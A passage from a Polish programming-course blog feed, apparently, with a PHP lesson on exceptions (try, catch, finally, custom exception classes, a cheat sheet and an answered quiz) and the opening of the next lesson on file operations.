<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> to nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError</code> i spółka to błędy w programie, których <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $w)</code> <strong>nie łapie</strong> — i dobrze, bo mają zostać naprawione, a nie obsłużone.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> wykona się zawsze</strong> — po udanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, po złapanym wyjątku, nawet przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>. Służy do sprzątania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>, zamknięcie połączenia). <strong>Nigdy nie wstawiaj do niego <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code></strong> — nadpisze wynik z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>.</li>



<li><strong>Wyjątek to awaria, nie zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>.</strong> Brak pliku, uszkodzone dane, brak uprawnień — tak. Pusta lista zadań, niepoprawny login w walidacji, wszystko wykonane — nie, to normalne stany aplikacji.</li>



<li><strong>Pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> jest gorszy niż brak obsługi błędów</strong> — awaria znika bez śladu, a program udaje, że wszystko gra.</li>



<li><strong>Użytkownikowi pokazujemy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code>.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code> zdradzają ścieżki na serwerze — to materiał do logu, nie na stronę.</li>



<li><strong>Własny wyjątek</strong> to klasa dziedzicząca po <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">class BladPliku extends Exception {}</code>. Dzięki temu można łapać konkretny rodzaj awarii, a nie „cokolwiek&#8221;.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>odczytać komunikat błędu PHP</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught ...</code>, nazwa pliku, numer linii) i na jego podstawie znaleźć miejsce awarii,</li>



<li><strong>sprawdzić wynik operacji na pliku</strong> przed użyciem go dalej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwracające <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, brak pliku, brak uprawnień),</li>



<li><strong>zareagować na awarię komunikatem dla użytkownika</strong> zamiast wyświetlać surowy błąd serwera,</li>



<li>rozróżniać <strong>błąd w kodzie</strong> (do naprawienia) od <strong>sytuacji wyjątkowej w danych</strong> (do obsłużenia),</li>



<li><strong>przetestować skrypt na złych danych</strong>, nie tylko na poprawnych.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('komunikat');</code> — bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> obiekt wyjątku nic nie robi.</li>



<li>Schemat: <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { kod } catch (Exception $wyjatek) { obsługa } finally { sprzątanie }</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> są opcjonalne, ale co najmniej jedno z nich musi wystąpić.</li>



<li>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> <strong>reszta bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> się nie wykona</strong>. Niezłapany wyjątek kończy skrypt.</li>



<li>Wyjątek przelatuje przez kolejne funkcje w górę, aż znajdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li>Kto wykrywa problem — rzuca. Kto wie, co z nim zrobić — łapie.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code> — dla użytkownika. <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code> — do logu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> wykona się zawsze; <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> nadpisuje wynik z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>.</li>



<li>Wyjątek rzucamy przy <strong>awarii</strong>, nie przy normalnym stanie aplikacji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $w)</code> <strong>nie złapie</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> ani innego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>.</li>



<li>Pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> = cichy błąd = najgorszy możliwy wariant.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<h3 class="wp-block-heading">Podstawowy schemat</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    // kod, który może się nie udać
} catch (Exception $wyjatek) {
    echo 'Błąd: ' . $wyjatek-&gt;getMessage();
} finally {
    // wykona się zawsze (opcjonalne)
}</code></pre>



<h3 class="wp-block-heading">Rzucanie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('Komunikat błędu');       // sam komunikat
throw new Exception('Komunikat błędu', 100);  // komunikat + kod</code></pre>



<h3 class="wp-block-heading">Metody obiektu wyjątku</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Do czego</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code></td><td>string</td><td>komunikat dla użytkownika</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getCode()</code></td><td>int</td><td>kod błędu (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code></td><td>string</td><td>plik, w którym rzucono — <strong>do logu</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code></td><td>int</td><td>numer linii — <strong>do logu</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code></td><td>string</td><td>ślad wywołań — <strong>do logu</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Typowy wzorzec: plik + <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$plik = fopen($sciezka, 'r');
if ($plik === false) {
    throw new Exception("Nie udało się otworzyć pliku $sciezka.");
}

try {
    // czytanie pliku
} finally {
    fclose($plik);   // zamknie się nawet po wyjątku
}</code></pre>



<h3 class="wp-block-heading">Własny wyjątek i kilka bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class BladPliku extends Exception {}
class BladDanych extends Exception {}

try {
    throw new BladDanych('Linia 4: zły format terminu.');
} catch (BladPliku $wyjatek) {      // najpierw szczegółowe
    echo 'Problem z plikiem: ' . $wyjatek-&gt;getMessage();
} catch (BladDanych $wyjatek) {
    echo 'Problem z danymi: ' . $wyjatek-&gt;getMessage();
} catch (Exception $wyjatek) {      // na końcu ogólne
    echo 'Inna awaria: ' . $wyjatek-&gt;getMessage();
}</code></pre>



<h3 class="wp-block-heading">Rzucać czy nie rzucać</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Sytuacja</th><th>Wyjątek?</th></tr></thead><tbody><tr><td>plik nie istnieje / brak uprawnień</td><td>tak</td></tr><tr><td>uszkodzony wiersz danych</td><td>tak</td></tr><tr><td>nie udało się otworzyć pliku do zapisu</td><td>tak</td></tr><tr><td>pusta lista wyników</td><td>nie</td></tr><tr><td>walidacja loginu / hasła daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>nie</td></tr><tr><td>wszystkie zadania wykonane</td><td>nie</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Co wypisze ten kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdz(int $xp): void {
    if ($xp &gt; 100) {
        throw new Exception('za dużo');
    }
    echo "ok($xp) ";
}

foreach (&#91;50, 150, 70] as $xp) {
    try {
        sprawdz($xp);
    } catch (Exception $wyjatek) {
        echo 'blad ';
    }
}
echo 'koniec';</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> A co wypisze ten sam kod, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> otoczy <strong>całą pętlę</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> zamiast jej wnętrza? Które ustawienie wybierzesz, gdy chcesz przetworzyć jak najwięcej poprawnych danych?</p>



<p class="wp-block-paragraph"><strong>3.</strong> Znajdź błąd — dlaczego ta funkcja nie zgłasza awarii?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function otworz(string $sciezka) {
    if (!file_exists($sciezka)) {
        new Exception("Plik $sciezka nie istnieje.");
    }
    return fopen($sciezka, 'r');
}</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wypisze ten kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function licz(): int {
    $wynik = 0;
    try {
        $wynik = 1;
        return $wynik;
    } finally {
        $wynik = 9;
        echo 'sprzatam ';
    }
}

echo licz();</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Czy poniższy <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> przechwyci ten wyjątek? Uzasadnij.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class BladPliku extends Exception {}

try {
    throw new BladPliku('brak pliku');
} catch (Exception $wyjatek) {
    echo 'Złapano: ' . $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Uzupełnij kod tak, aby funkcja zgłaszała awarię zamiast zapisywać do nieotwartego pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapisz(string $sciezka, string $tekst): void {
    $plik = fopen($sciezka, 'w');
    if ($plik === false) {
        ________________________________________;
    }
    fwrite($plik, $tekst);
    fclose($plik);
}</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Dla każdej sytuacji zdecyduj: rzucić wyjątek czy nie?</p>



<p class="wp-block-paragraph">a) wyszukiwarka zadań nie znalazła ani jednego pasującego zadania<br />b) plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> nie istnieje<br />c) użytkownik wpisał hasło krótsze niż 8 znaków<br />d) katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> nie ma prawa zapisu</p>



<p class="wp-block-paragraph"><strong>8.</strong> Dlaczego pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek) { }</code> jest <strong>gorszy</strong> niż całkowity brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>?</p>



<p class="wp-block-paragraph"><strong>9.</strong> Kod poniżej kończy się <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code>, mimo że jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>. Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> nie zadziałał?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function dodajXp(int $xp, int $nagroda): int {
    return $xp + $nagroda;
}

try {
    echo dodajXp(50, 'abc');
} catch (Exception $wyjatek) {
    echo 'Złapano: ' . $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>10.</strong> Napisz funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajLiczbe(string $tekst): int</code>, która zwraca liczbę całkowitą, a dla tekstu, który nie jest liczbą, rzuca wyjątek z komunikatem <code class="prettyprint lang-sql" style="font-size: 0.85em;">"'abc' to nie jest liczba."</code>. Pokaż też użycie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. (Przyda się <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_numeric()</code>.)</p>



<p class="wp-block-paragraph"><strong>11.</strong> W aplikacji działającej na prawdziwym serwerze, w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, które dane wypiszesz na stronie, a które zapiszesz do pliku z logiem? Wymień konkretne metody.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<p class="wp-block-paragraph"><strong>1.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">ok(50) blad ok(70) koniec</code></p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> jest <strong>wewnątrz</strong> pętli, więc złapanie wyjątku kończy tylko jeden obieg — następny startuje normalnie.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">ok(50) blad koniec</code> — wyjątek przerywa całą pętlę, wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">70</code> nie zostanie przetworzona. Gdy zależy nam na przetworzeniu jak największej liczby poprawnych danych, <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> umieszczamy <strong>wewnątrz</strong> pętli. Gdy jeden zły element oznacza, że całemu zestawowi danych nie można ufać (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>) — na zewnątrz.</p>



<p class="wp-block-paragraph"><strong>3.</strong> Brakuje słowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception(...)</code> tworzy obiekt, przypisuje go w próżnię i program leci dalej — do <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> na nieistniejącym pliku. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception("Plik $sciezka nie istnieje.");</code></p>



<p class="wp-block-paragraph"><strong>4.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprzatam 1</code></p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> wykona się przed faktycznym wyjściem z funkcji (stąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprzatam</code> przed wynikiem), ale wartość zwracana została ustalona już przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> — późniejsza zmiana <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">9</code> nic nie daje. Gdyby w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> był <code class="prettyprint lang-sql" style="font-size: 0.85em;">return 9;</code>, funkcja zwróciłaby <code class="prettyprint lang-sql" style="font-size: 0.85em;">9</code> — i dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> się nie stosuje.</p>



<p class="wp-block-paragraph"><strong>5.</strong> Tak, wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">Złapano: brak pliku</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">BladPliku</code> dziedziczy po <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> dopasowuje wyjątek po typie <strong>wraz z klasami pochodnymi</strong>. Uwaga: gdyby po tym bloku stał jeszcze <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (BladPliku $wyjatek)</code>, nigdy by się nie wykonał — bardziej ogólny <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> musi być ostatni.</p>



<p class="wp-block-paragraph"><strong>6.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception("Nie udało się otworzyć pliku $sciezka do zapisu.");</code></p>



<p class="wp-block-paragraph">Typ zwracany <code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code> jest tu celowy: funkcja albo zapisze, albo zgłosi awarię — nie ma wariantu „po cichu się nie udało&#8221;.</p>



<p class="wp-block-paragraph"><strong>7.</strong><br />a) <strong>nie</strong> — brak wyników to normalna odpowiedź, wystarczy komunikat „Nic nie znaleziono.&#8221;;<br />b) <strong>tak</strong> — bez konfiguracji aplikacja nie ma jak działać;<br />c) <strong>nie</strong> — to walidacja, oczekiwany wynik to <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> plus komunikat przy formularzu;<br />d) <strong>tak</strong> — funkcja nie jest w stanie wykonać swojego zadania.</p>



<p class="wp-block-paragraph"><strong>8.</strong> Bo awaria znika bez żadnego śladu: użytkownik widzi stronę, która wygląda poprawnie, ale pokazuje nieprawdziwe dane (np. „Brak zadań.&#8221; zamiast „Nie mogę odczytać pliku&#8221;). <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> przynajmniej jest widoczny i mówi, gdzie szukać. Cichy błąd potrafi być niezauważony tygodniami.</p>



<p class="wp-block-paragraph"><strong>9.</strong> Bo to nie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>, tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> — czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>. PHP odrzuca wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(50, 'abc')</code> jeszcze przed wejściem do funkcji, ponieważ parametr jest zadeklarowany jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> to dwie osobne rodziny (łączy je dopiero wspólny interfejs <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code>), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception ...)</code> łapie tylko tę drugą. I bardzo dobrze: to błąd w kodzie, który trzeba poprawić, a nie awaria do obsłużenia.</p>



<p class="wp-block-paragraph"><strong>10.</strong> Przykładowe rozwiązanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajLiczbe(string $tekst): int {
    if (!is_numeric($tekst)) {
        throw new Exception("'$tekst' to nie jest liczba.");
    }
    return (int) $tekst;
}

try {
    echo wczytajLiczbe('42');    // 42
    echo wczytajLiczbe('abc');   // rzuca wyjątek
    echo 'ta linia się nie wykona';
} catch (Exception $wyjatek) {
    echo 'Błąd: ' . $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>11.</strong> Na stronie: <strong>tylko</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code> — i to pod warunkiem, że komunikat jest napisany z myślą o użytkowniku. Do logu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> (najlepiej skrócone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">basename()</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code>, czyli dane potrzebne programiście do odnalezienia miejsca awarii. Pokazanie śladu wywołań na stronie ujawnia strukturę katalogów serwera.</p>
</details>



<div class="wp-block-file"><a id="wp-block-file--media-e1eb03f5-d2a0-4a15-97d3-0349793edc1b" href="https://kamakaczmarek.net/wp-content/uploads/PHP-–-Analizator-logow-serwera-zadanie-karta-oceny.docx">PHP – Analizator logów serwera (zadanie + karta oceny)</a><a href="https://kamakaczmarek.net/wp-content/uploads/PHP-–-Analizator-logow-serwera-zadanie-karta-oceny.docx" class="wp-block-file__button wp-element-button" download aria-describedby="wp-block-file--media-e1eb03f5-d2a0-4a15-97d3-0349793edc1b">Pobierz</a></div>
<p>Artykuł <a href="https://kamakaczmarek.net/12-php-wyjatki-try-catch/">12. PHP &#8211; wyjątki, try&#8230;catch&#8230;</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>11. PHP &#8211; Operacje na plikach</title>
		<link>https://kamakaczmarek.net/php-operacje-na-plikach/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Fri, 30 Nov 2018 20:22:01 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[operacje na plikach]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[pliki]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2324</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Sprawdź, czy pamiętasz Lekcję 10 (dołączanie plików, ścieżki, katalogi). Odpowiedzi znajdziesz na końcu dodatku. 1. Plik includes/funkcje_zadan.php jest dołączany w index.php i w diagnostyka.php. Której z czterech instrukcji (include, include_once, require, require_once) należy użyć i co stanie się, jeśli użyjesz require bez _once, a oba pliki zostaną załadowane w [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-operacje-na-plikach/">11. PHP &#8211; Operacje na plikach</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Sprawdź, czy pamiętasz Lekcję 10 (dołączanie plików, ścieżki, katalogi). Odpowiedzi znajdziesz na końcu dodatku.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code> jest dołączany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. Której z czterech instrukcji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">include</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">include_once</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">require</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>) należy użyć i co stanie się, jeśli użyjesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">require</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">_once</code>, a oba pliki zostaną załadowane w jednym żądaniu?</p>



<p class="wp-block-paragraph"><strong>2.</strong> Projekt leży w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">/var/www/taskquest</code>. Co wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo dirname(__DIR__);</code> umieszczone w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>?</p>



<p class="wp-block-paragraph"><strong>3.</strong> Co — poza nazwami plików — pojawi się na stronie po uruchomieniu tego kodu i jak się tego pozbyć?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach (scandir(__DIR__ . '/data') as $element) {
    echo $element . '&lt;br&gt;';
}</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(is_file(__DIR__ . '/data'));</code>, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">data</code> to katalog z plikiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code>? Dlaczego?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Skrypt zawiera linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">mkdir(__DIR__ . '/logs');</code>. Działa za pierwszym razem, ale przy drugim uruchomieniu pojawia się ostrzeżenie. Dlaczego i jak poprawić kod?</p>



<p class="wp-block-paragraph"><strong>6.</strong> Dlaczego w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> i w plikach z funkcjami nie zamykamy tagu <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>. Plik z funkcjami zawsze z <code class="prettyprint lang-sql" style="font-size: 0.85em;">_once</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">require</code> dołączyłby go dwa razy, a druga deklaracja tej samej funkcji to błąd krytyczny („Cannot redeclare…”). <code class="prettyprint lang-sql" style="font-size: 0.85em;">require</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">include</code>, bo bez tych funkcji aplikacja nie ma sensu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">/var/www/taskquest</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">/var/www/taskquest/includes</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">dirname()</code> cofa o jeden poziom — stąd ten zapis w funkcjach diagnostycznych.</li>



<li>Pojawią się dwa dodatkowe wpisy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">.</code> (ten katalog) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">..</code> (katalog nadrzędny). <code class="prettyprint lang-sql" style="font-size: 0.85em;">scandir()</code> zawsze je zwraca; pomijamy je warunkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($element === '.' || $element === '..') { continue; }</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">data</code> jest katalogiem, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code> sprawdza, czy ścieżka wskazuje plik. Dla katalogu prawdę zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code>.</li>



<li>Katalog już istnieje, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">mkdir()</code> zgłasza ostrzeżenie i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Wzorzec: najpierw sprawdź, potem działaj — <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!is_dir($katalog)) { mkdir($katalog); }</code>.</li>



<li>Każdy znak po <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code> (nawet sam enter) zostaje wysłany do przeglądarki jako treść strony. Przy nagłówkach, cookies i sesjach (Lekcja 14) powoduje to trudne do znalezienia błędy typu „headers already sent”.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Operacje na plikach w PHP to nic innego jak tworzenie plików z danymi oraz odczytywanie danych z plików. Pełną listę funkcji znajdziecie w <a href="http://php.net/manual/ref.filesystem.php" target="_blank" rel="noreferrer noopener">dokumentacji PHP &#8211; funkcje systemu plików,</a>&nbsp; poniżej najczęściej wykorzystywane.</p>



<p class="wp-block-paragraph">Operacje na plikach w PHP mają podobną formę jak w C.</p>



<h3 class="wp-block-heading"><span style="text-decoration: underline;"><strong>Zapisywanie danych</strong></span> w pliku następuje w 3 etapach:</h3>



<ol class="wp-block-list">
<li>Otwieramy plik lub go tworzymy</li>



<li>Zapisujemy dane w pliku</li>



<li>Zamykamy plik</li>
</ol>



